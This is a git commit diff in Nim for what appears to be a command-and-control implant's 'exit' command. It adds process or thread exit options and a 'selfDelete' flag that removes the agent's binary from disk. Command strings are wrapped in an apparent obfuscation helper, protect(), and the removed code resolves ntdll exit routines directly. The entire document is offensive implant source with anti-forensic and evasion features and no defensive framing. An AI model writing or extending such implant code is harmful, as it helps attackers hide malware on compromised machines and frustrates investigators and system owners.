Improved 'exit' command and implemented self-delete functionality.
This commit is contained in:
@@ -9,8 +9,10 @@ let commands* = @[
|
||||
name: protect("exit"),
|
||||
commandType: CMD_EXIT,
|
||||
description: protect("Exit the agent process."),
|
||||
example: protect("exit"),
|
||||
example: protect("exit process"),
|
||||
arguments: @[
|
||||
Argument(name: protect("exitType"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false),
|
||||
Argument(name: protect("selfDelete"), description: protect("Attempt to delete the binary within which is the agent was running from disk. Default: false"), argumentType: BOOL, isRequired: false),
|
||||
],
|
||||
execute: executeExit
|
||||
)
|
||||
@@ -22,25 +24,26 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import winim/lean
|
||||
import strutils, strformat
|
||||
import ../agent/utils/io
|
||||
import ../agent/core/exit
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
type
|
||||
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
||||
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
||||
|
||||
proc executeExit(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
let
|
||||
hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||
pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
|
||||
pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
|
||||
|
||||
print " [>] Exiting."
|
||||
pRtlExitUserProcess(STATUS_SUCCESS)
|
||||
|
||||
case task.argCount:
|
||||
of 0:
|
||||
exit()
|
||||
of 1:
|
||||
let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
|
||||
exit(exitType)
|
||||
else:
|
||||
let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
|
||||
let selfDelete = cast[bool](task.args[1].data[0])
|
||||
exit(exitType, selfDelete)
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
Reference in New Issue
Block a user